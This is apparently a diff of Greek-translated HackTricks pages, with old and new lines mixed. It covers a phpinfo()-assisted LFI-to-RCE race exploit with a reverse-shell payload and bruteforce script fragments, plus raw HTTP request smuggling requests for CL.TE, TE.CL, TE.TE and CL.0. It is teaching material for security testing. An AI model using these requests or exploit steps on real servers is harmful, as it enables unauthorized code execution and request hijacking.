<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: **Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file\_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον φάκελο "/tmp".** Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: **Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file\_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον φάκελο "/tmp".**
@ -24,23 +32,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char) You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Έλεγχος του διπλού "%" κατά την εκμετάλλευση του χαρακτήρα null)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %} {% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Theory ### Theory
Αν οι αναφορές επιτρέπονται σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι να ολοκληρωθεί η επεξεργασία του αιτήματος από τον διακομιστή, στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται. If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Στη συνέχεια, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί. Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
Στα **Windows** τα αρχεία αποθηκεύονται συνήθως στο **C:\Windows\temp\php** In **Windows** the files are usually stored in **C:\Windows\temp\php**
Στο **linux** το όνομα του αρχείου συνήθως είναι **τυχαίο** και βρίσκεται στο **/tmp**. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να **εξάγετε από κάπου το όνομα του προσωρινού αρχείου** και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της **μεταβλητής $\_FILES** μέσα στο περιεχόμενο της συνάρτησης "**phpconfig()**". In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
**phpinfo()** **phpinfo()**
**PHP** χρησιμοποιεί ένα buffer **4096B** και όταν είναι **γεμάτο**, αποστέλλεται **στον πελάτη**. Στη συνέχεια, ο πελάτης μπορεί να **στείλει** **πολλές μεγάλες αιτήσεις** (χρησιμοποιώντας μεγάλες κεφαλίδες) **ανεβάζοντας ένα php** reverse **shell**, περιμένοντας να **επιστραφεί το πρώτο μέρος του phpinfo()** (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να **αποκτήσει πρόσβαση στο προσωρινό αρχείο** πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI. **PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name (if length = 6)** **Python script to try to bruteforce the name (if length = 6)**
```python ```python
@ -64,13 +72,21 @@ sys.exit(0)
print('[x] Something went wrong, please try again') print('[x] Something went wrong, please try again')
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -9,16 +9,24 @@
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Τι είναι ## Τι είναι
Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα ερμηνευτεί ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\ Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **front-end proxies** και του **back-end** server επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα ερμηνευτεί ως **ένα μόνο request** από τους **front-end** proxies (load balance/reverse-proxy) και **ως 2 requests** από τον **back-end** server.\
Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του**. Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά το δικό του**.
### Θεωρία ### Θεωρία
@ -32,29 +40,29 @@
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Η κεφαλίδα Transfer-Encoding προσδιορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος του payload στον χρήστη.\ > Η κεφαλίδα Transfer-Encoding προσδιορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος payload στον χρήστη.\
> Το chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών. > Το Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών.
### Πραγματικότητα ### Πραγματικότητα
Ο **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζεται** την κεφαλίδα _**content-length**_ ή την κεφαλίδα _**transfer-encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\ Ο **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζεται** την _**content-length**_ ή την _**transfer-encoding**_ κεφαλίδα και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευτεί** από τον **server back-end** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **server back-end** **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**. Αυτό θα μπορούσε να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευτεί** από τον **back-end** server **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **back-end** server **θα ερμηνεύσει** το **2ο request που έχει εισαχθεί** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**.
### Ιδιαιτερότητες ### Ιδιαιτερότητες
Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:** Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:**
* **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**. * **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**.
* **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0` * **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
* **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του request Smuggling. * **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request της τεχνικής Smuggling.
## Βασικά Παραδείγματα ## Βασικά Παραδείγματα
{% hint style="success" %} {% hint style="success" %}
Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και `Normalize HTTP/1 line endings`** στον επαναλήπτη γιατί ορισμένα gadgets εκμεταλλεύονται τις νέες γραμμές, τις επιστροφές καροτσιού και τα κακώς διαμορφωμένα content-lengths. Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και το `Normalize HTTP/1 line endings`** στον επαναλήπτη γιατί ορισμένα gadgets εκμεταλλεύονται τις νέες γραμμές, τις επιστροφές καροτσιού και τα κακώς διαμορφωμένα content-lengths.
{% endhint %} {% endhint %}
Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι servers front-end και back-end ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν σε διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι servers front-end και back-end δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα. Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι front-end και back-end servers ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν με διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα.
### Βασικά Παραδείγματα Τύπων Ευπάθειας ### Βασικά Παραδείγματα Τύπων Ευπάθειας
@ -64,14 +72,14 @@
Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding. Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.
{% endhint %} {% endhint %}
#### CL.TE Ευπάθεια (Content-Length που χρησιμοποιείται από Front-End, Transfer-Encoding που χρησιμοποιείται από Back-End) #### CL.TE Ευπάθεια (Content-Length χρησιμοποιείται από Front-End, Transfer-Encoding χρησιμοποιείται από Back-End)
* **Front-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`. * **Front-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
* **Back-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`. * **Back-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
* **Σενάριο Επίθεσης:** * **Σενάριο Επίθεσης:**
* Ο επιτιθέμενος στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος περιεχομένου. * Ο επιτιθέμενος στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος περιεχομένου.
* Ο server front-end προωθεί ολόκληρο το request στον back-end, με βάση την τιμή `Content-Length`. * Ο front-end server προωθεί ολόκληρο το request στον back-end, με βάση την τιμή `Content-Length`.
* Ο server back-end επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request. * Ο back-end server επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request.
* **Παράδειγμα:** * **Παράδειγμα:**
``` ```
@ -87,14 +95,14 @@ GET /404 HTTP/1.1
Foo: x Foo: x
``` ```
#### TE.CL Ευπάθεια (Transfer-Encoding που χρησιμοποιείται από Front-End, Content-Length που χρησιμοποιείται από Back-End) #### TE.CL Ευπάθεια (Transfer-Encoding χρησιμοποιείται από Front-End, Content-Length χρησιμοποιείται από Back-End)
* **Front-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`. * **Front-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
* **Back-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`. * **Back-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
* **Σενάριο Επίθεσης:** * **Σενάριο Επίθεσης:**
* Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται. * Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
* Ο server front-end, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end. * Ο front-end server, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
* Ο server back-end, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request. * Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request.
* **Παράδειγμα:** * **Παράδειγμα:**
``` ```
@ -115,7 +123,7 @@ x=
``` ```
#### TE.TE Ευπάθεια (Transfer-Encoding που χρησιμοποιείται και από τους δύο, με παραπλάνηση) #### TE.TE Ευπάθεια (Transfer-Encoding χρησιμοποιείται και από τους δύο, με παραπλάνηση)
* **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης. * **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης.
* **Σενάριο Επίθεσης:** * **Σενάριο Επίθεσης:**
@ -141,7 +149,7 @@ Transfer-Encoding
: chunked : chunked
``` ```
#### **CL.CL Σενάριο (Content-Length που χρησιμοποιείται και από τους Front-End και Back-End)** #### **CL.CL Σενάριο (Content-Length χρησιμοποιείται και από τους Front-End και Back-End)**
* Και οι δύο servers επεξεργάζονται το request αποκλειστικά με βάση την κεφαλίδα `Content-Length`. * Και οι δύο servers επεξεργάζονται το request αποκλειστικά με βάση την κεφαλίδα `Content-Length`.
* Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request. * Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
@ -159,7 +167,7 @@ Normal Request
#### **CL.0 Σενάριο** #### **CL.0 Σενάριο**
* Αναφέρεται σε σενάρια όπου η κεφαλίδα `Content-Length` είναι παρούσα και έχει τιμή διαφορετική από το μηδέν, υποδεικνύοντας ότι το σώμα του request έχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα `Content-Length` (η οποία θεωρείται 0), αλλά ο front-end την αναλύει. * Αναφέρεται σε σενάρια όπου η κεφαλίδα `Content-Length` είναι παρούσα και έχει τιμή διαφορετική από το μηδέν, υποδεικνύοντας ότι το σώμα του request έχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα `Content-Length` (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.
* Είναι κρίσιμο στην κατανόηση και την κατασκευή επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers προσδιορίζουν το τέλος ενός request. * Είναι κρίσιμο στην κατανόηση και την κατασκευή επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
* **Παράδειγμα:** * **Παράδειγμα:**
``` ```
@ -201,7 +209,7 @@ EMPTY_LINE_HERE
#### Εξανα forcing μέσω κεφαλίδων hop-by-hop #### Εξανα forcing μέσω κεφαλίδων hop-by-hop
Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**. Καταχρώντας τις κεφαλίδες hop-by-hop μπορείτε να υποδείξετε στον διακομιστή μεσολάβησης να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
@ -218,7 +226,7 @@ Connection: Content-Length
### Εύρεση Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης ### Εύρεση Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης
* **Μέθοδος:** * **Μέθοδος:**
* Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει επιπλέον δεδομένα. * Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει για επιπλέον δεδομένα.
* **Παράδειγμα:** * **Παράδειγμα:**
``` ```
@ -234,7 +242,7 @@ A
``` ```
* **Παρατήρηση:** * **Παρατήρηση:**
* Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Content-Length` και κόβει το μήνυμα πρόωρα. * Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Content-Length` και κόβει το μήνυμα πρόωρα.
* Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση. * Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει για το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση.
* **Δείκτες:** * **Δείκτες:**
* Χρονοθυρίδες ή μεγάλες καθυστερήσεις στην απάντηση. * Χρονοθυρίδες ή μεγάλες καθυστερήσεις στην απάντηση.
* Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή. * Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.
@ -242,7 +250,7 @@ A
### Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης ### Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης
* **Μέθοδος:** * **Μέθοδος:**
* Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει επιπλέον δεδομένα. * Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει για επιπλέον δεδομένα.
* **Παράδειγμα:** * **Παράδειγμα:**
``` ```
@ -257,20 +265,20 @@ X
``` ```
* **Παρατήρηση:** * **Παρατήρηση:**
* Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα. * Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Transfer-Encoding` και προωθεί ολόκληρο το μήνυμα.
* Ο διακομιστής back-end, περιμένοντας ένα μήνυμα με βάση το `Content-Length`, περιμένει επιπλέον δεδομένα που ποτέ δεν φτάνουν, προκαλώντας καθυστέρηση. * Ο διακομιστής back-end, περιμένοντας ένα μήνυμα με βάση το `Content-Length`, περιμένει για επιπλέον δεδομένα που ποτέ δεν φτάνουν, προκαλώντας καθυστέρηση.
### Άλλες Μέθοδοι για να Βρείτε Ευπάθειες ### Άλλες Μέθοδοι για την Εύρεση Ευπαθειών
* **Ανάλυση Διαφορετικών Απαντήσεων:** * **Ανάλυση Διαφορετικών Απαντήσεων:**
* Στείλτε ελαφρώς παραλλαγμένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του διακομιστή διαφέρουν με απροσδόκητο τρόπο, υποδεικνύοντας μια διαφορά στην ανάλυση. * Στείλτε ελαφρώς παραλλαγμένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του διακομιστή διαφέρουν με απροσδόκητο τρόπο, υποδεικνύοντας μια διαφορά στην ανάλυση.
* **Χρησιμοποιώντας Αυτοματοποιημένα Εργαλεία:** * **Χρήση Αυτοματοποιημένων Εργαλείων:**
* Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν αυτόματα να δοκιμάσουν αυτές τις ευπάθειες στέλνοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις. * Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν αυτόματα να δοκιμάσουν αυτές τις ευπάθειες στέλνοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις.
* **Δοκιμές Διαφορετικών Τιμών Content-Length:** * **Δοκιμές Διαφορετικών Τιμών Content-Length:**
